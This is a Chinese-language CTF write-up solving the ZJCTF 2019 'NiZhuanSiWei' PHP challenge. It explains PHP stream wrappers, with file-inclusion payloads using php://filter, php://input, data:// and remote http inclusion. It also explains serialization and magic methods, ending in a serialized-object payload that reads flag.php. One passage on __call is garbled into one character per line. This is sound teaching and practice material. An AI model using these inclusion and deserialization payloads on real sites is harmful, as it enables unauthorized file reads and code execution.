| [ZJCTF 2019]NiZhuanSiWei首先根据连接打开得到一个,PHP源码:  根据源码分析,我们需要GET三个参数分别是:text,file,password 首先需要检查是否对text传一个文件,并且文件内容要是welcome to the zjctf,才能进行下一步
 这里涉及到一些PHP为协议: 两个配置PHP.ini
 all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:
 allow_url_fopen=on; 允许url里的封装协议访问文件
 allow_url_include=off; 不允许url里的封装协议包含文件
 file:// — 访问本地文件系统http:// — 访问 HTTP(s) 网址
 ftp:// — 访问 FTP(s) URLs
 php:// — 访问各个输入/输出流(I/O streams)
 zlib:// — 压缩流
 data:// — 数据(RFC 2397)
 glob:// — 查找匹配的文件路径模式
 phar:// — PHP 归档
 ssh2:// — Secure Shell 2
 rar:// — RAR
 ogg:// — 音频流
 expect:// — 处理交互式的流
 php://filter利用:是php中独有的一个协议,可以作为一个中间过滤器来处理目标数据流,可以进行任意文件的读取,且该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,相当于可构造多个过滤器。 条件:读,开启 allow_url_fopen,不需要开启 allow_url_include;
 写,则要两者都开启。
 示例:?file=php://filter/read=convert.base64-encode/resource=xxx
 php://input利用:php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。通俗一点讲就是,php://input作为被包含的参数时,也是文件包含,不过是包含的对象是post的数据,而post的数据为用户所传入,所以也相当于任意命令执行。
 条件:allow_url_fopen:off/on
 allow_url_include:On
 值得注意的是,这是在传输过程中去包含,也就是向当前页面写入php代码 示例:?file=php://input
 post: <?php phpinfo();?>
  注:当enctype=”multipart/form-data”时,php://input是无效的,这是数据传输方式发送改变造成的。
 zip:// & bzip2:// & zlib://zip://条件:
 allow_url_fopen:off/on
 allow_url_include :off/on
 利用:
 zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的文件,不需要指定后缀名,可修改为任意后缀:jpg,png,gif等等,但是需要绝对路径。
 示例:
 将<?php phpinfo();?>写入phpinfo.txt ,然后压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg (任意后缀名),并上传根目录
 ?file=zip://[压缩文件绝对路径]%23[压缩文件内的子文件名] (%23为#的url编码,这里只能用%23) 
 data://条件:allow_url_fopen: on
 allow_url_include: on
 利用:
 data://数据流封装器,以传递指定格式的数据,可以用来执行PHP代码。
 示例:
 /?file=data://text/plain,[执行的php代码]
  其它利用示例:
 /?file=data://text/plain;base64,[base64加密的php代码]
 
 http:// & https://条件:allow_url_fopen: on
 allow_url_include: on
 利用:
 常用于远程包含,?file=http://xxx.xxx.xxx.xxx/xxx
  
 
 这里呢,因为给出的参数是text,于是就想到data协议,于是我们就利用payload:
 text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY= 测试一下得到:
  发现成功执行,然后进到下一个条件,下一个条件是,检查file传进来的参数是否有flag,有的话,就输出Not now ,然后退出
 程序,没有的话就进入下面的命令。
 所以我们,我们传入的值不能含有flag,发现旁边备注useless.php文件利用file查看一下,利用php://filter,
 payload:
 ?text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
 得到: 
 解码得到: <?php  
class Flag{  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
 可以看到这个PHP源码,对源码进行分析,可以知道,它定义了一个叫做Flag的类,里面含有一个一叫: _tostring()的魔术方法
 里面执行了文件包含,所以我们就可以在这利用这个点查看
 flag.php文件。
 这里涉及了一些反序列化的知识点: 首先要理解什么是序列化:序列化就是把对象转化为可传输的字节序列过程称为序列化。
 反序列化:反序列化就是把字节序转化为对象的过程
 列: 
 这里我们定一了一个类,将它用serialize()序列化话后得到O:4:“flag”:1:{s:4:“flag”;s:5:“world”;} 的字节序列,并且这个类
 成功的调用__construct()的魔术放法(该方法是当对象创建完成后调用)
 输出success
 然后,我们在对在对O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}进行反序列化得到:
 
  这里可以看到我们调用了,反序列化函数unserialize(),成功的将字节序列创建了一个对象,并调用了__wakeup()函数。
 这就是反序列化的一个过程。
 其中这里的:O:4:“flag”:1:{s:4:“flag”;s:5:“world”;}
 O 代表 类名flag
 4 代表 类名有四个字符
 1 代表有一个属性
 s 代表属性是字符类型
 4 代表有四个字符(也可以是int型用i,数组型用列: a:1{i:1;s:1:“a”},NULL型用N,布尔型:b:0)
 类当中属于的访问控制修饰符不通,序列化后的属性长度和属性值也会不同。 public(公有)
protected(受保护)
private(私有的)
 protected属性被序列化后属性名长度会增加3,因为属性名会变成%00*%00属性名。列:O:4:“flag”:1:{s:4:“flag”;s:8:"%00*%00world";}
 private属性被序列化后属性名会变成%00类名%00属性名。列:O:4:“flag”:1:{s:4:“flag”;s:11:"%00flag%00world";}
 常用魔术方法:__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发
 __destruct() //对象被销毁时触发
 __call() //在对象上下文中调用不可访问的方法时触发
 __callStatic() //在静态上下文中调用不可访问的方法时触发
 __get() //用于从不可访问的属性读取数据
 __set() //用于将数据写入不可访问的属性
 __isset() //在不可访问的属性上调用isset()或empty()触发
 __unset() //在不可访问的属性上使用unset()时触发
 __toString() //把类当作字符串使用时触发
 __invoke() //当脚本尝试将对象调用为函数时触发
 触发示例__wakeup()
 unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
 __wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
 
 __sleep()函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
 
 __destruct()对象销毁时触发
  __call()
 在对象中调用一个不可访问方法时,__call() 会被调用。
 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
 n
       
       
        a
       
       
        m
       
       
        e
       
       
        参
       
       
        数
       
       
        是
       
       
        要
       
       
        调
       
       
        用
       
       
        的
       
       
        方
       
       
        法
       
       
        名
       
       
        称
       
       
        。
       
      
      
       name 参数是要调用的方法名称。
      
     
    name参数是要调用的方法名称。arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
 
 __toString()将类作为字符串处理时触发
 
 __invoke()当尝试以调用函数的方式调用一个对象时触发,本特性只在 PHP 5.3.0 及以上版本有效。
 
 属性重载public __set ( string $name , mixed $value ) : void
 public __get ( string $name ) : mixed
 public __isset ( string $name ) : bool
 public __unset ( string $name ) : void
 在给不可访问属性赋值时,__set() 会被调用。
 读取不可访问属性的值时,__get() 会被调用。
 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
 当对不可访问属性调用 unset() 时,__unset() 会被调用。
 __get()读取不存在的变量时触发,且 __get() 的参数为变量名。
  __set()
 在给不可访问属性赋值时,__set() 会被调用。
 
 __isset()当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
 
 可以看到输出的 name 就是函数里的参数(不存在的属性名) __unset()当对不可访问属性调用 unset() 时,__unset() 会被调用。
 参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。
 
 所以这里我们能明确的知道有一个:__tostring()魔术方法另外我们知道这个方法是要当类做为字符串输出时触发,而且
 前面源码有:echo $password;而且$password被反序列化,
 所以我们就传一个字节序列进去,又因为__tostring()魔术方法
 调用了文件包含函数:file_get_contents($this->file);并输出了
 里面的内容,所以我们利用这点,给file传flag.php然后我们就能
 让它输出里面的内容啦
 所以我们的字节序列是:password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
 所以我们的payload: text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
 然后得到flag: 
 |